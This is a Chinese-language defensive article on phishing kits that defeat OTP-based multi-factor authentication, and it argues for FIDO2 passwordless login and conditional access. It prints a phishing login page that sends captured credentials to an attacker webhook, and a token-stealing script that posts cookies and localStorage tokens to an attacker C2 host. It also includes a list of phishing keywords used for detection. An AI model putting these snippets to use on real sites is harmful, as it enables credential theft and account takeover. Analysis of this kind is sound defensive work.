引言

近年来,网络钓鱼攻击在自动化、智能化和模块化方向迅速演进。以 BlackForce、GhostFrame、InboxPrime AI 及 Salty-Tycoon 为代表的新型钓鱼工具套件,正显著降低凭证窃取的技术门槛,并对当前主流的多因素认证(Multi-Factor Authentication, MFA)机制构成实质性挑战。这些套件不仅能够高度仿冒知名品牌界面,还集成了中间人代理(Man-in-the-Browser, MitB)、会话 Cookie 窃取、AI 驱动生成页面等高级功能,使得传统依赖一次性密码(OTP)或短信验证码的 MFA 方案形同虚设。更值得警惕的是,此类工具普遍以“钓鱼即服务”(Phishing-as-a-Service, PhaaS)模式在暗网流通,提供图形化控制面板与自动更新机制,使低技术水平攻击者亦可发起高成功率的定向攻击。

安全研究机构如 Zscaler 和 The Hacker News 已多次披露相关案例:攻击者利用 GhostFrame 构建单文件 HTML 钓鱼页面,在数小时内即可部署并传播;BlackForce 则通过实时代理转发用户输入的 OTP 至真实登录站点,完成账户接管;而 InboxPrime AI 能基于目标语言、地域和品牌特征自动生成语义连贯、视觉逼真的登录表单,并同步窃取浏览器中存储的身份令牌。这些能力共同指向一个严峻现实:仅靠“用户教育+基础 MFA”已不足以抵御现代钓鱼威胁。

本文聚焦于新兴钓鱼套件的技术架构、攻击逻辑及其对现有身份验证体系的穿透能力,系统分析其绕过 MFA 的核心机制,并结合实证数据与代码示例,提出以 FIDO2 无密码认证为核心的纵深防御策略。文章结构如下:第二部分剖析典型钓鱼套件的功能演进与攻击流程;第三部分评估现行 MFA 方案在面对中间人攻击时的脆弱性;第四部分构建基于行为日志与网络流量的检测模型;第五部分提出技术—策略协同的缓解路径;最后总结防御范式转型的必要性与实施要点。

一、新兴钓鱼套件的技术特征与攻击模式

(一)BlackForce:实时中间人代理绕过 OTP

BlackForce 的核心创新在于其“实时代理”架构。当受害者访问伪造的登录页面(如 fake-netflix[.]com)后,前端 JavaScript 会建立 WebSocket 连接到攻击者控制的 C2 服务器。用户输入的用户名和密码被立即转发至真实 Netflix 登录接口,若触发 MFA 请求(如发送 OTP),钓鱼页面会动态渲染 OTP 输入框,并将用户提交的验证码再次实时转发。整个过程在 3–5 秒内完成,用户几乎无法察觉延迟。

该机制的关键在于维持会话连续性。攻击者通过代理服务器保留原始 TLS 会话上下文,使真实服务端认为请求来自合法客户端。由于 OTP 本身具有时效性(通常 30–60 秒),只要转发速度足够快,即可成功完成认证并获取有效会话 Cookie。

(二)GhostFrame:轻量化部署与高隐蔽性

GhostFrame 采用单 HTML 文件设计,所有逻辑(包括表单渲染、数据回传、地理定位)均内嵌于 <script> 标签中,无需后端服务器支持。其代码经过混淆和 Base64 编码,可轻松绕过邮件网关和 URL 黑名单检测。例如,以下为简化版 GhostFrame 数据收集逻辑:

<!DOCTYPE html>

<html>

<head><title>Secure Login</title></head>

<body>

<form id="loginForm">

<input type="email" id="email" required>

<input type="password" id="password" required>

<button type="submit">Sign In</button>

</form>

<script>

document.getElementById('loginForm').addEventListener('submit', async (e) => {

e.preventDefault();

const email = document.getElementById('email').value;

const password = document.getElementById('password').value;

// 获取地理位置与用户代理

const geo = await fetch('https://ipapi.co/json/').then(r => r.json()).catch(() => ({}));

const payload = {

email, password,

ua: navigator.userAgent,

ip: geo.ip,

country: geo.country_name,

timestamp: new Date().toISOString()

};

// 回传至攻击者控制的 Webhook

fetch('https://attacker[.]xyz/webhook', {

method: 'POST',

headers: {'Content-Type': 'application/json'},

body: JSON.stringify(payload)

}).then(() => {

window.location.href = 'https://real-service.com/login?error=invalid'; // 重定向至真实站点制造迷惑

});

});

</script>

</body>

</html>

此类页面可直接托管于 GitHub Pages、Netlify 等免费静态站点服务,极难溯源。

(三)InboxPrime AI 与 Salty-Tycoon:AI 生成与会话劫持融合

InboxPrime AI 利用大型语言模型(LLM)与计算机视觉技术,自动抓取目标品牌官网的 UI 元素、文案风格与多语言内容,生成高保真钓鱼页面。其控制面板允许攻击者选择目标国家、行业(如银行、流媒体、物流),系统自动生成适配的钓鱼模板。

更危险的是,该套件集成浏览器扩展式脚本,可在用户访问真实网站时注入恶意代码,窃取 document.cookie 或 localStorage 中的认证令牌。例如,通过以下代码片段窃取 OAuth 2.0 Access Token:

// 注入到目标站点(如 outlook.office.com)的恶意脚本

const token = localStorage.getItem('msal.idtoken') ||

sessionStorage.getItem('accessToken') ||

Array.from(document.cookie.split('; '))

.find(c => c.startsWith('x-ms-cpim-token='))?.split('=')[1];

if (token) {

fetch('https://c2.attacker[.]xyz/steal', {

method: 'POST',

body: JSON.stringify({ domain: location.hostname, token }),

keepalive: true // 即使页面关闭仍可发送

});

}

一旦获得有效令牌,攻击者无需密码或 MFA 即可直接调用 API 或访问邮箱,实现“静默接管”。

二、现行多因素认证机制的结构性缺陷

(一)OTP 与 SMS 验证码的本质局限

当前多数组织仍将 OTP(基于 TOTP/HOTP)或短信验证码作为 MFA 主要形式。然而,这类方案本质上属于“知识因素”(something you know)的延伸,而非独立信道。在中间人攻击中,攻击者并非“破解”OTP,而是“透传”用户主动提供的凭证,因此从协议层面无法防御。

NIST Special Publication 800-63B 已明确指出:SMS 验证码因易受 SIM 交换攻击和 SS7 漏洞影响,不应作为高风险应用的 MFA 手段。但现实中,出于用户体验与成本考量,大量企业仍未迁移。

(二)缺乏设备绑定与上下文感知

传统 MFA 方案通常只验证“用户知道什么”和“用户拥有什么”(如手机),但未将认证行为与具体设备、网络环境或行为上下文绑定。例如,即使用户在陌生 IP 地址、新设备上登录,只要能提供 OTP,系统仍视为合法。这为钓鱼攻击提供了可乘之机。

相比之下,FIDO2/WebAuthn 协议通过公钥加密与设备绑定,确保私钥永不离开用户设备(如安全芯片、YubiKey),且每次认证需用户显式确认(如指纹、PIN)。即使攻击者获取用户名和密码,也无法在其他设备上完成认证。

三、基于流量与行为的钓鱼活动检测模型

为应对上述威胁,组织需在认证前、中、后三个阶段部署检测能力。

(一)网络层异常识别

通过分析 DNS 请求、TLS 指纹与 HTTP 头,可识别 GhostFrame 等静态钓鱼页面的特征。例如,合法 Netflix 登录页通常由 Akamai CDN 提供,具有特定的 JA3 指纹;而钓鱼页面多托管于 Cloudflare 免费套餐,User-Agent 分布异常。

以下 Python 示例使用 tldextract 与预定义黑名单检测可疑域名:

import tldextract

import requests

PHISHING_KEYWORDS = {'secure-login', 'verify-account', 'netflix-update', 'dhl-tracking'}

KNOWN_CDNs = {'akamai', 'cloudfront', 'fastly'}

def is_suspicious_url(url):

ext = tldextract.extract(url)

subdomain = ext.subdomain.lower()

domain = ext.domain.lower()

# 检查子域名是否含钓鱼关键词

if any(kw in subdomain for kw in PHISHING_KEYWORDS):

return True

# 检查是否使用非官方 CDN

try:

resp = requests.head(url, timeout=3)

server = resp.headers.get('Server', '').lower()

if not any(cdn in server for cdn in KNOWN_CDNs):

return True

except:

pass

return False

# 测试

print(is_suspicious_url("https://netflix-verify-account.freehost[.]site")) # True

(二)浏览器端行为监控

在企业环境中,可通过端点检测与响应(EDR)工具监控浏览器进程是否加载可疑脚本。例如,检测 localStorage 中是否存在异常键名(如 msal.idtoken 被非 Microsoft 域读取),或 fetch 请求是否指向非常规 C2 域名。

四、纵深防御体系构建:从 MFA 升级到零信任

(一)优先部署 FIDO2 无密码认证

组织应逐步淘汰 OTP/SMS,转向 FIDO2 安全密钥或平台认证器(如 Windows Hello、Touch ID)。Microsoft、Google、Apple 已全面支持 WebAuthn,且 Azure AD、Okta 等 IdP 提供无缝集成。关键优势在于:

私钥不出设备;

抗中间人攻击(认证绑定 RP ID);

无需用户记忆复杂流程。

(二)实施条件访问策略(Conditional Access)

结合 Azure AD 或类似平台,设置基于风险的访问控制规则,例如:

若登录来自新国家,强制 FIDO2 认证;

若设备未注册 Intune,禁止访问敏感应用;

若检测到匿名代理(如 Tor),自动阻断。

(三)加强反钓鱼情报共享

参与 ISAC(信息共享与分析中心)或使用商业威胁情报平台(如 Recorded Future、Anomali),实时同步已知钓鱼域名、C2 IP 与恶意 HTML 哈希值。通过防火墙或 Secure Web Gateway 自动阻断访问。

五、对低资源组织的务实建议

并非所有机构都能立即部署 FIDO2。对此,可采取分阶段策略:

短期:启用 MFA 强制策略,禁用 SMS,改用 Authenticator App;

中期:部署邮件头验证(DMARC/DKIM/SPF),防止品牌仿冒;

长期:采购 FIDO2 密钥并开展员工培训,逐步迁移高权限账户。

同时,定期进行钓鱼模拟演练,测量点击率与报告率,持续优化安全意识项目。

结论

BlackForce、GhostFrame 等新兴钓鱼套件的出现,标志着凭证窃取攻击已进入高度自动化与商品化阶段。其对 OTP 型 MFA 的有效绕过,暴露出当前身份验证体系在“信任链”设计上的根本缺陷——过度依赖用户输入,而忽视设备与上下文的真实性验证。单纯提升用户警惕性或增加认证步骤,已无法应对具备实时代理与会话劫持能力的现代钓鱼工具。

本文论证,唯有通过技术范式转型——从知识型 MFA 向基于硬件绑定的无密码认证迁移,并辅以网络层检测、条件访问与情报共享,方能构建具备抗钓鱼韧性的身份基础设施。这一转型虽涉及成本与流程调整,但在大规模凭证盗窃风险日益迫近的当下,已非可选项,而是必要举措。未来研究可进一步探索 FIDO2 在医疗、金融等高合规要求行业的部署障碍与激励机制,以加速安全基线的整体提升。

编辑:芦笛(公共互联网反网络钓鱼工作组) 

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐